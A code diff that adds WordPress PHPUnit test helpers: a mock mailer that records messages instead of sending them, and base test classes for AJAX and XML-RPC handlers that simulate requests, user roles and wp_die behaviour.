+ 26 - 0
tests/phpunit/includes/mock-mailer.php

@@ -0,0 +1,26 @@
+<?php
+require_once( ABSPATH . '/wp-includes/class-phpmailer.php' );
+
+class MockPHPMailer extends PHPMailer {
+	var $mock_sent = array();
+
+	// override the Send function so it doesn't actually send anything
+	function Send() {
+		try {
+			if ( ! $this->PreSend() )
+				return false;
+
+			$this->mock_sent[] = array(
+				'to'     => $this->to,
+				'cc'     => $this->cc,
+				'bcc'    => $this->bcc,
+				'header' => $this->MIMEHeader,
+				'body'   => $this->MIMEBody,
+			);
+
+			return true;
+		} catch ( phpmailerException $e ) {
+			return false;
+		}
+	}
+}

+ 182 - 0
tests/phpunit/includes/testcase-ajax.php

@@ -0,0 +1,182 @@
+<?php
+/**
+ * Ajax test cases
+ *
+ * @package    WordPress
+ * @subpackage UnitTests
+ * @since      3.4.0
+ */
+
+/**
+ * Ajax test case class
+ *
+ * @package    WordPress
+ * @subpackage UnitTests
+ * @since      3.4.0
+ */
+abstract class WP_Ajax_UnitTestCase extends WP_UnitTestCase {
+
+	/**
+	 * Last AJAX response.  This is set via echo -or- wp_die.
+	 * @var type
+	 */
+	protected $_last_response = '';
+
+	/**
+	 * List of ajax actions called via POST
+	 * @var type
+	 */
+	protected $_core_actions_get = array( 'fetch-list', 'ajax-tag-search', 'wp-compression-test', 'imgedit-preview', 'oembed_cache' );
+
+	/**
+	 * Saved error reporting level
+	 * @var int
+	 */
+	protected $_error_level = 0;
+
+	/**
+	 * List of ajax actions called via GET
+	 * @var type
+	 */
+	protected $_core_actions_post = array(
+		'oembed_cache', 'image-editor', 'delete-comment', 'delete-tag', 'delete-link',
+		'delete-meta', 'delete-post', 'trash-post', 'untrash-post', 'delete-page', 'dim-comment',
+		'add-link-category', 'add-tag', 'get-tagcloud', 'get-comments', 'replyto-comment',
+		'edit-comment', 'add-menu-item', 'add-meta', 'add-user', 'autosave', 'closed-postboxes',
+		'hidden-columns', 'update-welcome-panel', 'menu-get-metabox', 'wp-link-ajax',
+		'menu-locations-save', 'menu-quick-search', 'meta-box-order', 'get-permalink',
+		'sample-permalink', 'inline-save', 'inline-save-tax', 'find_posts', 'widgets-order',
+		'save-widget', 'set-post-thumbnail', 'date_format', 'time_format', 'wp-fullscreen-save-post',
+		'wp-remove-post-lock', 'dismiss-wp-pointer', 'nopriv_autosave'
+	);
+
+	/**
+	 * Set up the test fixture.
+	 * Override wp_die(), pretend to be ajax, and suppres E_WARNINGs
+	 */
+	public function setUp() {
+		parent::setUp();
+
+		// Register the core actions
+		foreach ( array_merge( $this->_core_actions_get, $this->_core_actions_post ) as $action )
+			if ( function_exists( 'wp_ajax_' . str_replace( '-', '_', $action ) ) )
+				add_action( 'wp_ajax_' . $action, 'wp_ajax_' . str_replace( '-', '_', $action ), 1 );
+
+		add_filter( 'wp_die_ajax_handler', array( $this, 'getDieHandler' ), 1, 1 );
+		if ( !defined( 'DOING_AJAX' ) )
+			define( 'DOING_AJAX', true );
+		set_current_screen( 'ajax' );
+
+		// Clear logout cookies
+		add_action( 'clear_auth_cookie', array( $this, 'logout' ) );
+
+		// Suppress warnings from "Cannot modify header information - headers already sent by"
+		$this->_error_level = error_reporting();
+		error_reporting( $this->_error_level & ~E_WARNING );
+
+		// Make some posts
+		$this->factory->post->create_many( 5 );
+	}
+
+	/**
+	 * Tear down the test fixture.
+	 * Reset $_POST, remove the wp_die() override, restore error reporting
+	 */
+	public function tearDown() {
+		parent::tearDown();
+		$_POST = array();
+		$_GET = array();
+		unset( $GLOBALS['post'] );
+		unset( $GLOBALS['comment'] );
+		remove_filter( 'wp_die_ajax_handler', array( $this, 'getDieHandler' ), 1, 1 );
+		remove_action( 'clear_auth_cookie', array( $this, 'logout' ) );
+		error_reporting( $this->_error_level );
+		set_current_screen( 'front' );
+	}
+
+	/**
+	 * Clear login cookies, unset the current user
+	 */
+	public function logout() {
+		unset( $GLOBALS['current_user'] );
+		$cookies = array(AUTH_COOKIE, SECURE_AUTH_COOKIE, LOGGED_IN_COOKIE, USER_COOKIE, PASS_COOKIE);
+		foreach ( $cookies as $c )
+			unset( $_COOKIE[$c] );
+	}
+
+	/**
+	 * Return our callback handler
+	 * @return callback
+	 */
+	public function getDieHandler() {
+		return array( $this, 'dieHandler' );
+	}
+
+	/**
+	 * Handler for wp_die()
+	 * Save the output for analysis, stop execution by throwing an exception.
+	 * Error conditions (no output, just die) will throw <code>WPAjaxDieStopException( $message )</code>
+	 * You can test for this with:
+	 * <code>
+	 * $this->setExpectedException( 'WPAjaxDieStopException', 'something contained in $message' );
+	 * </code>
+	 * Normal program termination (wp_die called at then end of output) will throw <code>WPAjaxDieContinueException( $message )</code>
+	 * You can test for this with:
+	 * <code>
+	 * $this->setExpectedException( 'WPAjaxDieContinueException', 'something contained in $message' );
+	 * </code>
+	 * @param string $message
+	 */
+	public function dieHandler( $message ) {
+		$this->_last_response .= ob_get_clean();
+
+		if ( '' === $this->_last_response ) {
+			if ( is_scalar( $message ) ) {
+				throw new WPAjaxDieStopException( (string) $message );
+			} else {
+				throw new WPAjaxDieStopException( '0' );
+			}
+		} else {
+			throw new WPAjaxDieContinueException( $message );
+		}
+	}
+
+	/**
+	 * Switch between user roles
+	 * E.g. administrator, editor, author, contributor, subscriber
+	 * @param string $role
+	 */
+	protected function _setRole( $role ) {
+		$post = $_POST;
+		$user_id = $this->factory->user->create( array( 'role' => $role ) );
+		wp_set_current_user( $user_id );
+		$_POST = array_merge($_POST, $post);
+	}
+
+	/**
+	 * Mimic the ajax handling of admin-ajax.php
+	 * Capture the output via output buffering, and if there is any, store
+	 * it in $this->_last_message.
+	 * @param string $action
+	 */
+	protected function _handleAjax($action) {
+
+		// Start output buffering
+		ini_set( 'implicit_flush', false );
+		ob_start();
+
+		// Build the request
+		$_POST['action'] = $action;
+		$_GET['action']  = $action;
+		$_REQUEST        = array_merge( $_POST, $_GET );
+
+		// Call the hooks
+		do_action( 'admin_init' );
+		do_action( 'wp_ajax_' . $_REQUEST['action'], null );
+
+		// Save the output
+		$buffer = ob_get_clean();
+		if ( !empty( $buffer ) )
+			$this->_last_response = $buffer;
+	}
+}

+ 30 - 0
tests/phpunit/includes/testcase-xmlrpc.php

@@ -0,0 +1,30 @@
+<?php
+include_once(ABSPATH . 'wp-admin/includes/admin.php');
+include_once(ABSPATH . WPINC . '/class-IXR.php');
+include_once(ABSPATH . WPINC . '/class-wp-xmlrpc-server.php');
+
+class WP_XMLRPC_UnitTestCase extends WP_UnitTestCase {
+	protected $myxmlrpcserver;
+
+	function setUp() {
+		parent::setUp();
+
+		add_filter( 'pre_option_enable_xmlrpc', '__return_true' );
+
+		$this->myxmlrpcserver = new wp_xmlrpc_server();
+	}
+
+	function tearDown() {
+		remove_filter( 'pre_option_enable_xmlrpc', '__return_true' );
+
+		parent::tearDown();
+	}
+
+	protected function make_user_by_role( $role ) {
+		return $this->factory->user->create( array(
+			'user_login' => $role,
+			'user_pass'  => $role,
+			'role'       => $role
+		));
+	}
+}

Some files were not shown because too many files changed in this diff